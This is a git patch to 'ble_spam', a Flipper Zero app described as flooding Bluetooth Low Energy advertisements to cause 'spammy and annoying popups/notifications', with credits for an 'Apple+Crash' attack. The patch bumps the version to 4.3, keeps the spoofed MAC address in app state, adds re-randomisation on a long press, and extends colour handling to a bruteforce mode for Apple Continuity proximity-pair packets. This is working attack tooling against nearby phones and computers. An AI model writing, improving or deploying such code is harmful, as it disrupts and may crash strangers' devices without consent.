From 42e9c7fabafc30166e5e84f7df12c838c0b3082f Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Wed, 29 Nov 2023 19:17:30 +0300 Subject: [PATCH] upd blespam --- base_pack/ble_spam/application.fam | 2 +- base_pack/ble_spam/ble_spam.c | 16 ++++++++-------- base_pack/ble_spam/protocols/continuity.c | 8 ++++++-- 3 files changed, 15 insertions(+), 11 deletions(-) diff --git a/base_pack/ble_spam/application.fam b/base_pack/ble_spam/application.fam index 105639d8..4fdd41aa 100644 --- a/base_pack/ble_spam/application.fam +++ b/base_pack/ble_spam/application.fam @@ -8,7 +8,7 @@ App( fap_category="Bluetooth", fap_author="@Willy-JL @ECTO-1A @Spooks4576", fap_weburl="https://github.com/Flipper-XFW/Xtreme-Apps/tree/dev/ble_spam", - fap_version="4.2", + fap_version="4.3", fap_description="Flood BLE advertisements to cause spammy and annoying popups/notifications", fap_icon_assets="icons", fap_icon_assets_symbol="ble_spam", diff --git a/base_pack/ble_spam/ble_spam.c b/base_pack/ble_spam/ble_spam.c index 440da49e..68a16d9e 100644 --- a/base_pack/ble_spam/ble_spam.c +++ b/base_pack/ble_spam/ble_spam.c @@ -150,6 +150,7 @@ typedef struct { bool resume; bool advertising; uint8_t delay; + uint8_t mac[GAP_MAC_ADDR_SIZE]; FuriThread* thread; int8_t index; bool ignore_bruteforce; @@ -189,10 +190,9 @@ static int32_t adv_thread(void* _ctx) { uint8_t size; uint16_t delay; uint8_t* packet; - uint8_t mac[GAP_MAC_ADDR_SIZE]; Payload* payload = &attacks[state->index].payload; const Protocol* protocol = attacks[state->index].protocol; - if(!payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac)); + if(!payload->random_mac) furi_hal_random_fill_buf(state->mac, sizeof(state->mac)); if(state->ctx.led_indicator) start_blink(state); while(state->advertising) { @@ -209,9 +209,9 @@ static int32_t adv_thread(void* _ctx) { furi_hal_bt_custom_adv_set(packet, size); free(packet); - if(payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac)); + if(payload->random_mac) furi_hal_random_fill_buf(state->mac, sizeof(state->mac)); delay = delays[state->delay]; - furi_hal_bt_custom_adv_start(delay, delay, 0x00, mac, 0x1F); + furi_hal_bt_custom_adv_start(delay, delay, 0x00, state->mac, 0x1F); furi_thread_flags_wait(true, FuriFlagWaitAny, delay); furi_hal_bt_custom_adv_stop(); } @@ -375,7 +375,7 @@ static void draw_callback(Canvas* canvas, void* _ctx) { "App+Spam: \e#WillyJL\e# XFW\n" "Apple+Crash: \e#ECTO-1A\e#\n" "Android+Win: \e#Spooks4576\e#\n" - " Version \e#4.2\e#", + " Version \e#4.3\e#", false); break; default: { @@ -545,10 +545,10 @@ static bool input_callback(InputEvent* input, void* _ctx) { furi_hal_bt_custom_adv_set(packet, size); free(packet); - uint8_t mac[GAP_MAC_ADDR_SIZE]; - furi_hal_random_fill_buf(mac, sizeof(mac)); + if(payload->random_mac || input->type == InputTypeLong) + furi_hal_random_fill_buf(state->mac, sizeof(state->mac)); uint16_t delay = delays[state->delay]; - furi_hal_bt_custom_adv_start(delay, delay, 0x00, mac, 0x1F); + furi_hal_bt_custom_adv_start(delay, delay, 0x00, state->mac, 0x1F); if(state->ctx.led_indicator) notification_message(state->ctx.notification, &solid_message); furi_delay_ms(10); diff --git a/base_pack/ble_spam/protocols/continuity.c b/base_pack/ble_spam/protocols/continuity.c index 384a2d91..a9e74b2e 100644 --- a/base_pack/ble_spam/protocols/continuity.c +++ b/base_pack/ble_spam/protocols/continuity.c @@ -827,7 +827,9 @@ static void pp_color_callback(void* _ctx, uint32_t index) { ContinuityCfg* cfg = &payload->cfg.continuity; uint8_t model_index = 0; uint8_t colors_count = 0; - if(payload->mode == PayloadModeValue) { + if(payload->mode == PayloadModeValue || + (payload->mode == PayloadModeBruteforce && + cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)) { for(; model_index < pp_models_count; model_index++) { if(cfg->data.proximity_pair.model == pp_models[model_index].value) { colors_count = pp_models[model_index].colors_count; @@ -865,7 +867,9 @@ void scene_continuity_pp_color_on_enter(void* _ctx) { bool found = false; uint8_t colors_count = 0; - if(payload->mode == PayloadModeValue) { + if(payload->mode == PayloadModeValue || + (payload->mode == PayloadModeBruteforce && + cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)) { for(uint8_t i = 0; i < pp_models_count; i++) { if(cfg->data.proximity_pair.model == pp_models[i].value) { colors_count = pp_models[i].colors_count;